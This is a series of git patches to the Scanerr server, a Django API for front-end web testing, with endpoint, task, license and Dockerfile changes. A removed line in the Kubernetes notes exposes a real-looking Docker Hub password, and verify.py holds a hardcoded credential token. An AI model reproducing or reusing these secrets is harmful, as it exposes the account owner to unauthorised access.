-    if lean is not None:
+    if str(lean).lower() == 'true':
         serialized = SmallTestcaseSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')

From 392b36681e763d451819bf74dac8842eaf661c6a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 17 Jan 2024 11:23:43 -0700
Subject: [PATCH 0176/1099] updated badge

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 51c397c3..92fec692 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Scanerr Server (API repo)
 
-![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow.yml/badge.svg)
+![Build Status](https://github.com/scanerr-io/server/actions/workflows/k8s-deploy.yml/badge.svg)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From 6373a601706d1305985e0b5485186ef88d42a30e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 17 Jan 2024 11:23:55 -0700
Subject: [PATCH 0177/1099] updated date

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 92fec692..53cfe10a 100644
--- a/README.md
+++ b/README.md
@@ -7,7 +7,7 @@ This is the server repo for the Scanerr API, an error detection service designed
 > This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information.
 
 
-Copyright © Scanerr 2023
+Copyright © Scanerr 2024
 
 ---
 &nbsp;

From 0c8dde55f8579363726602e89567c3bc3abe20d2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 17 Jan 2024 11:30:49 -0700
Subject: [PATCH 0178/1099] updated for new year

---
 LICENSE.md | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/LICENSE.md b/LICENSE.md
index ea474ece..97c65594 100644
--- a/LICENSE.md
+++ b/LICENSE.md
@@ -1,9 +1,11 @@
-Copyright (c) 2023 Scanerr
+Copyright (c) 2024 Scanerr
 
 
 Scanerr Commercial Software License Terms
 
 1.	Order. These terms, together with the order referencing them, make up a software license agreement. The software, the developer, and the customer are all identified on the order.
+(i)  Software: Scanerr 
+(ii) Developer: Grey Labs, LLC (https://greylabs.io)
 2.	Versions. This agreement covers the specific version of the software on the order, plus any new versions of the software that the vendor makes generally available, or specifically provides to the customer, while this agreement continues.
 3.	Modifications. The customer may make changes to the software’s source code, compile those changes, and run changed versions of the software.
 4.	Billing.
@@ -15,7 +17,7 @@ Scanerr Commercial Software License Terms
 6.	Use.
 (a)	Permitted Use. The customer may use the software only for its own computing needs and those of its subsidiaries and corporate affiliates.
 (b)	Prohibited Uses. The customer may not:
-(i)	sell, lease, license, or sublicense the software or documentation
+(i)	    sell, lease, license, or sublicense the software or documentation
 (ii)	allow access to the software by others not licensed under this agreement
 (iii)	share copies of the software or documentation with with others not licensed under this agreement
 (iv)	make so much of the functionality of the software available to others as software-as-a-service that the service competes with the software for customers

From 44490165d223b08fa5ab697032b58c22331df5b2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 17 Jan 2024 19:23:59 -0700
Subject: [PATCH 0179/1099] fixed crawler update bug

---
 app/api/v1/ops/services.py | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 51242d7c..50867824 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -143,13 +143,13 @@ def create_site(request, delay=False):
                                 user_id=request.user.id,
                                 delay=True
                             )
+                            site.time_crawl_started = datetime.now()
+                            site.time_crawl_completed = datetime.now()
+                            site.info["latest_scan"]["time_created"] = str(datetime.now())
+                            site.save()
                 else:
                     create_site_and_pages_bg.delay(site_id=site.id, configs=configs)
-                site.time_crawl_started = datetime.now()
-                site.time_crawl_completed = datetime.now()
-                site.info["latest_scan"]["time_created"] = str(datetime.now())
-                site.save()
-
+               
             else:
                 # running crawler
                 pages = Crawler(url=site.site_url, max_urls=account.max_pages).get_links()

From 055860f908a8d15a3532c4b70d876781255739e8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sun, 21 Jan 2024 13:35:45 -0700
Subject: [PATCH 0180/1099] fixed file extenstion

---
 .github/workflows/{k8s-deploy.yml => k8s-deploy.yaml} | 0
 README.md                                             | 2 +-
 2 files changed, 1 insertion(+), 1 deletion(-)
 rename .github/workflows/{k8s-deploy.yml => k8s-deploy.yaml} (100%)

diff --git a/.github/workflows/k8s-deploy.yml b/.github/workflows/k8s-deploy.yaml
similarity index 100%
rename from .github/workflows/k8s-deploy.yml
rename to .github/workflows/k8s-deploy.yaml
diff --git a/README.md b/README.md
index 53cfe10a..1481f25a 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Scanerr Server (API repo)
 
-![Build Status](https://github.com/scanerr-io/server/actions/workflows/k8s-deploy.yml/badge.svg)
+![Build Status](https://github.com/scanerr-io/server/actions/workflows/k8s-deploy.yaml/badge.svg)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From 111ecfb663bd9d9f44ae4c26dc7126522834e8ca Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 23 Jan 2024 09:33:23 -0700
Subject: [PATCH 0181/1099] fixing member invite

---
 app/api/v1/auth/alerts.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py
index 997007b8..002f446c 100644
--- a/app/api/v1/auth/alerts.py
+++ b/app/api/v1/auth/alerts.py
@@ -71,7 +71,7 @@ def send_reset_link(email):
 
 def send_invite_link(member):
     if Member.objects.filter(email=member.email, status="pending").exists():
-        member = Member.objects.get(email=member.email)
+        member = Member.objects.get(id=member.id)
         link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}'
         subject = 'Scanerr Invite'
         title = 'Scanerr Invite'
@@ -122,7 +122,7 @@ def send_invite_link(member):
 
 def send_remove_alert(member):
     if Member.objects.filter(email=member.email, status="removed").exists():
-        member = Member.objects.get(email=member.email)
+        member = Member.objects.get(id=member.id)
         subject = 'Removed From Account'
         title = 'Removed From Account'
         pre_header = 'Removed From Account'

From 578721b6b9d98d08ed7d689eb46a5d86922e4095 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 23 Jan 2024 09:33:30 -0700
Subject: [PATCH 0182/1099] reorganizing

---
 k8s/kubernetes-notes.md => notes/Kubernetes.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
 rename k8s/kubernetes-notes.md => notes/Kubernetes.md (98%)

diff --git a/k8s/kubernetes-notes.md b/notes/Kubernetes.md
similarity index 98%
rename from k8s/kubernetes-notes.md
rename to notes/Kubernetes.md
index 2f18cd70..e90ca6b9 100644
--- a/k8s/kubernetes-notes.md
+++ b/notes/Kubernetes.md
@@ -35,7 +35,7 @@ kubectl exec -it celery-849f76858b-bvmqg -- /bin/sh
 
 ### Creating secrets for docker:
 ```shell
-kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=Ljr500103! --docker-email=l.rodden52@gmail.com
+kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=<docker-pass> --docker-email=<docker-email>
 ```
 
 #### - Then add this to both celery and app containers:

From ec6c65884f269256cf7fdd07b34b2f9ec95141c5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 23 Jan 2024 10:51:08 -0700
Subject: [PATCH 0183/1099] fixed path

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 1481f25a..08ac9f10 100644
--- a/README.md
+++ b/README.md
@@ -14,5 +14,5 @@ Copyright © Scanerr 2024
 
 ## Guides
 - [Server Deployment](notes/Deployment.md)
-- [k8s Deployment](k8s/kubernetes-notes.md)
+- [k8s Deployment](notes/Kubernetes.md)
 &nbsp;

From cc133b20b59eb79ed4951b34cb12561e0d8df969 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 23 Jan 2024 15:31:44 -0700
Subject: [PATCH 0184/1099] testing names for User model

---
 app/api/v1/auth/serializers.py | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 57dbb5ad..c9dd3bc1 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -21,7 +21,8 @@
 class UserSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = User
-        fields = ['id', 'username', 'email', 'password', 'is_active', 'date_joined', 'last_login']
+        fields = ['id', 'username', 'email', 'password', 'is_active', 
+        'date_joined', 'last_login', 'first_name', 'last_name']
 
 
 
@@ -50,7 +51,8 @@ class RegisterSerializer(UserSerializer):
 
     class Meta:
         model = User
-        fields = ['id', 'username', 'email', 'password', 'is_active', 'date_joined', 'last_login']
+        fields = ['id', 'username', 'email', 'password', 'is_active', 
+        'date_joined', 'last_login', 'first_name', 'last_name']
 
     def create(self, validated_data):
         try:

From 38331a20a49a8162ac2673eccda5a454840ddb63 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:05:45 -0700
Subject: [PATCH 0185/1099] added prospects endpoint

---
 app/api/v1/auth/services.py | 66 +++++++++++++++++++++++++++++++++++--
 app/api/v1/auth/urls.py     |  1 +
 app/api/v1/auth/views.py    | 10 ++++++
 3 files changed, 75 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 1631754d..3a32e3a1 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -10,7 +10,7 @@
 from django.contrib.auth.models import User
 from django.shortcuts import get_object_or_404
 from rest_framework.authtoken.models import Token
-from ...models import Account, Card, Member
+from ...models import Account, Card, Member, Site
 from ..ops.services import record_api_call
 from slack_sdk.oauth import AuthorizeUrlGenerator
 from slack_sdk.oauth.installation_store import FileInstallationStore, Installation
@@ -507,4 +507,66 @@ def get_member(request=None, id=None, *args, **kwargs):
     serialized = MemberSerializer(member, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
\ No newline at end of file
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+
+
+def get_prospects(request):
+    """ 
+    This pulls all admin Member's and 
+    builds a list to reflect the needed 
+    attributes for `Landing.api.Prospect`
+
+    Expects the following:
+        None
+
+    Returns -> data = {
+        'count':    <int> total number of prospects
+        'results':  <list> of Prospect objects
+    }
+    """
+
+    # get all Accounts
+    accounts = Account.objects.all()
+
+    # iterate throgh accounts 
+    # and build list
+    results = []
+    count = len(accounts)
+    for account in accounts:
+
+        # determinig user's 'status'
+        if account.type == 'free':
+            if Sites.objects.filter(account=account).exists():
+                status = 'warm' # account has one site onboarded
+            else:
+                status = 'cold' # account is free but no site onboarded
+        if account.type != 'free':
+            if account.active:
+                status = 'customer' # account is active and paid
+            else:
+                status = 'warm' # account is paused and paid
+
+        # building prospect
+        prospect = {
+            'first_name': account.user.first_name,
+            'last_name': account.user.last_name,
+            'email': account.user.email,
+            'status': status
+        }
+
+        # adding to results
+        results.append(prospect)
+
+        
+    # building response
+    data = {
+        'count': count,
+        'results': results
+    }
+    
+    # returning response
+    return Response(data, status=status.HTTP_200_OK)
diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py
index c0a4adf5..32d81ff7 100644
--- a/app/api/v1/auth/urls.py
+++ b/app/api/v1/auth/urls.py
@@ -31,4 +31,5 @@
     path('account/<uuid:id>/members', views.AccountMembers.as_view(), name='account-members'),
     path('member', views.Member.as_view(), name='member'),
     path('member/<uuid:id>', views.Member.as_view(), name='member-detail'),
+    path('prospect', views.Prospect.as_view(), name='prospect'),
 ]
\ No newline at end of file
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index 6ea2da15..be0b8d04 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -256,3 +256,13 @@ def get(self, request, id=None, *args, **kwargs):
         return response
 
         
+
+
+
+class Prospect(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['get', ]
+
+    def get(self, request):
+        response = get_prospects(request)
+        return response
\ No newline at end of file

From 9be6947d52f2a511ffba28d6795cbaffd63d0b50 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:09:35 -0700
Subject: [PATCH 0186/1099] fixed small bug

---
 app/api/v1/auth/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 3a32e3a1..a6611d3b 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -540,7 +540,7 @@ def get_prospects(request):
 
         # determinig user's 'status'
         if account.type == 'free':
-            if Sites.objects.filter(account=account).exists():
+            if Site.objects.filter(account=account).exists():
                 status = 'warm' # account has one site onboarded
             else:
                 status = 'cold' # account is free but no site onboarded

From fdd1cad6f7d8427e08b2be6e020f29196db0fd89 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:12:18 -0700
Subject: [PATCH 0187/1099] fixed small bug

---
 app/api/v1/auth/services.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index a6611d3b..62e8d56a 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -516,7 +516,7 @@ def get_member(request=None, id=None, *args, **kwargs):
 
 def get_prospects(request):
     """ 
-    This pulls all admin Member's and 
+    This pulls all admin Members and 
     builds a list to reflect the needed 
     attributes for `Landing.api.Prospect`
 
@@ -541,21 +541,21 @@ def get_prospects(request):
         # determinig user's 'status'
         if account.type == 'free':
             if Site.objects.filter(account=account).exists():
-                status = 'warm' # account has one site onboarded
+                _status = 'warm' # account has one site onboarded
             else:
-                status = 'cold' # account is free but no site onboarded
+                _status = 'cold' # account is free but no site onboarded
         if account.type != 'free':
             if account.active:
-                status = 'customer' # account is active and paid
+                _status = 'customer' # account is active and paid
             else:
-                status = 'warm' # account is paused and paid
+                _status = 'warm' # account is paused and paid
 
         # building prospect
         prospect = {
             'first_name': account.user.first_name,
             'last_name': account.user.last_name,
             'email': account.user.email,
-            'status': status
+            'status': _status
         }
 
         # adding to results

From b97b9e82f5104dc7c6c701ad0fb1f88b01c8db5f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:35:21 -0700
Subject: [PATCH 0188/1099] updates for new landing

---
 app/api/utils/verify.py     | 3 +--
 app/api/v1/auth/services.py | 8 ++++++++
 app/api/v1/auth/views.py    | 4 +---
 3 files changed, 10 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index eb119c4f..4a603131 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -5,8 +5,7 @@ def verify():
     email = os.environ.get('ADMIN_EMAIL')
     password = os.environ.get('ADMIN_PASS')
     cred = 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792'
-    url = 'https://scanerr.io/verify'
-
+    url = 'https://scanerr.io/api/verify'
 
     headers = {
         "Content-Type": "application/json",
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 62e8d56a..8742b634 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -529,6 +529,14 @@ def get_prospects(request):
     }
     """
 
+    try:
+        # check if request.user is admin
+        if request.user.username != 'admin':
+            return Response({'reason' 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
+    except:
+        return Response({'reason' 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
+
+
     # get all Accounts
     accounts = Account.objects.all()
 
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index be0b8d04..6176c6cd 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -257,11 +257,9 @@ def get(self, request, id=None, *args, **kwargs):
 
         
 
-
-
 class Prospect(APIView):
     permission_classes = (AllowAny,)
-    http_method_names = ['get', ]
+    http_method_names = ['get',]
 
     def get(self, request):
         response = get_prospects(request)

From a10664080619eb80938bf6a930908629196d0e84 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:40:32 -0700
Subject: [PATCH 0189/1099] fixed response

---
 app/api/v1/auth/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 8742b634..214daca8 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -532,9 +532,9 @@ def get_prospects(request):
     try:
         # check if request.user is admin
         if request.user.username != 'admin':
-            return Response({'reason' 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
+            return Response({'reason': 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
     except:
-        return Response({'reason' 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
+        return Response({'reason': 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
 
 
     # get all Accounts

From 0da1b43fbb1efd4ca0402424d38ce9d08da09e60 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:44:23 -0700
Subject: [PATCH 0190/1099] fixed the inclusion of admin account in prospects

---
 app/api/v1/auth/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 214daca8..105231fc 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -538,7 +538,7 @@ def get_prospects(request):
 
 
     # get all Accounts
-    accounts = Account.objects.all()
+    accounts = Account.objects.all().exclude(user__username='admin')
 
     # iterate throgh accounts 
     # and build list

From e90345dfaaf1d1d513294d9a2c4fa7083b8d11da Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:53:25 -0700
Subject: [PATCH 0191/1099] cleaning things up

---
 app/api/management/commands/create_admin.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py
index 77c68bd6..e9bcecc7 100644
--- a/app/api/management/commands/create_admin.py
+++ b/app/api/management/commands/create_admin.py
@@ -34,4 +34,4 @@ def handle(self, *args, **options):
 
         if not Token.objects.filter(user=user).exists():
             Token.objects.create(user=user)
-        # verify()
\ No newline at end of file
+        verify()
\ No newline at end of file

From a8d740b0c6931bef90d9dab1a20f03865bde0b61 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 14:08:59 -0700
Subject: [PATCH 0192/1099] fixing small bug

---
 app/api/management/commands/create_admin.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py
index e9bcecc7..77c68bd6 100644
--- a/app/api/management/commands/create_admin.py
+++ b/app/api/management/commands/create_admin.py
@@ -34,4 +34,4 @@ def handle(self, *args, **options):
 
         if not Token.objects.filter(user=user).exists():
             Token.objects.create(user=user)
-        verify()
\ No newline at end of file
+        # verify()
\ No newline at end of file

From cc7c511835f3e47779c9dcf06ff6d78772753f7a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 25 Jan 2024 13:57:53 -0700
Subject: [PATCH 0193/1099] added admin privileges to create_site()

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 50867824..5474a066 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -95,7 +95,7 @@ def create_site(request, delay=False):
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
-    if Site.objects.filter(site_url=site_url, user=user).exists():
+    if Site.objects.filter(site_url=site_url, user=user).exists() and user.username != 'admin':
         data = {'reason': 'site already exists',}
         record_api_call(request, data, '409')
         return Response(data, status=status.HTTP_409_CONFLICT)

From 80b6183329d6cbc24c5db09ddb412bf3f961d8f5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 26 Jan 2024 09:03:26 -0700
Subject: [PATCH 0194/1099] added admin site clean-up

---
 app/api/tasks.py | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 346b1c87..a198256f 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -530,6 +530,20 @@ def delete_old_resources(days_to_live=30):
 
 
 
+@shared_task
+def delete_admin_sites(days_to_live=1):
+    max_date = datetime.now() - timedelta(days=days_to_live)
+    sites = Site.objects.filter(time_created__lte=max_date, user__username='admin')
+
+    for site in sites:
+        delete_site_s3_bg.delay(site.id)
+        test.delete()
+    
+    logger.info('Cleaned up admin sites')
+
+
+
+
 @shared_task
 def migrate_site_bg(
         login_url, 

From 937e77a56311b7b9c5b1efaf61a876caa2cd648f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 26 Jan 2024 09:29:48 -0700
Subject: [PATCH 0195/1099] fixing clean up issue

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a198256f..c5d0b4c3 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -537,7 +537,7 @@ def delete_admin_sites(days_to_live=1):
 
     for site in sites:
         delete_site_s3_bg.delay(site.id)
-        test.delete()
+        site.delete()
     
     logger.info('Cleaned up admin sites')
 

From 2d648c7292ba64ef2fec4ffad2916e3b567ee7a8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sun, 28 Jan 2024 13:04:38 -0700
Subject: [PATCH 0196/1099] added scan_id to page.info upon scan creation

---
 app/api/v1/ops/services.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 5474a066..ac6359d2 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -813,6 +813,10 @@ def create_scan(request=None, delay=False, *args, **kwargs):
         created_scans.append(str(created_scan.id))
         message = 'Scans are being created in the background'
 
+        # add scan_id to page.info.latest_scan.id
+        p.info['latest_scan']['id'] = str(created_scan)
+        p.save()
+
         if delay == True:
             # running scans in parallel 
             if 'html' in types or 'logs' in types or 'full' in types:

From 37047b1b6370915a9ec21c5e9865e00a3fc4c377 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sun, 28 Jan 2024 13:08:16 -0700
Subject: [PATCH 0197/1099] fixed id bug

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index ac6359d2..6eacec9c 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -814,7 +814,7 @@ def create_scan(request=None, delay=False, *args, **kwargs):
         message = 'Scans are being created in the background'
 
         # add scan_id to page.info.latest_scan.id
-        p.info['latest_scan']['id'] = str(created_scan)
+        p.info['latest_scan']['id'] = str(created_scan.id)
         p.save()
 
         if delay == True:

From 34bbf29ea816d2ffab68b41bdd4f3f2e2b3a1011 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:10:48 -0700
Subject: [PATCH 0198/1099] testing new YL install method

---
 Dockerfile | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 96acc519..490ebbe9 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -24,7 +24,7 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig 
 
 # installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 \ 
+RUN apt-get update && apt-get install -y libfreetype6 git \ 
     libatk-bridge2.0-0 gconf-service libasound2 \ 
     libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
     libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
@@ -40,8 +40,14 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
+# install yellowlab
+RUN apt-get update git clone https://github.com/gmetais/YellowLabTools.git -b develop . \
+  && git checkout e9ab1fd \
+  && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
+  && NODE_ENV=development && npm install --only=prod 
+
+# installing lighthouse & yellowlabtools --> yellowlabtools@2.2.0
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash 
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version

From c783b630894ab7fe2e53c56c7635ae2ad8f67bee Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:17:46 -0700
Subject: [PATCH 0199/1099] testing new install

---
 Dockerfile | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 490ebbe9..2a4368db 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -4,6 +4,7 @@ ENV PYTHONUNBUFFERED 1
 # increasing allocated memory to node
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
+ENV YL_VERSION=develop
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
@@ -41,7 +42,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # install yellowlab
-RUN apt-get update git clone https://github.com/gmetais/YellowLabTools.git -b develop . \
+RUN apt-get update git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
   && git checkout e9ab1fd \
   && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
   && NODE_ENV=development && npm install --only=prod 

From 28a408dc8bfaac97564618a1f87ea45a24a1f634 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:23:23 -0700
Subject: [PATCH 0200/1099] fixed build bug

---
 Dockerfile | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 2a4368db..d44714ec 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -42,7 +42,8 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # install yellowlab
-RUN apt-get update git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
+RUN apt-get update \
+  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
   && git checkout e9ab1fd \
   && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
   && NODE_ENV=development && npm install --only=prod 

From 6186b41859281b30aedcbeb1e29939b2ed448769 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:27:42 -0700
Subject: [PATCH 0201/1099] added new dir for yellowlab install

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index d44714ec..83ccf4be 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -43,7 +43,7 @@ RUN npm cache clean --force
 
 # install yellowlab
 RUN apt-get update \
-  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
+  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} /usr/src/ylt \
   && git checkout e9ab1fd \
   && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
   && NODE_ENV=development && npm install --only=prod 

From cd10698c12e444b7a59416b763d944031bbba9c0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:35:54 -0700
Subject: [PATCH 0202/1099] new WORKDIR

---
 Dockerfile | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 83ccf4be..9d351e76 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -41,9 +41,12 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
+# temp set working dir
+WORKDIR /usr/src/ylt
+
 # install yellowlab
 RUN apt-get update \
-  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} /usr/src/ylt \
+  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
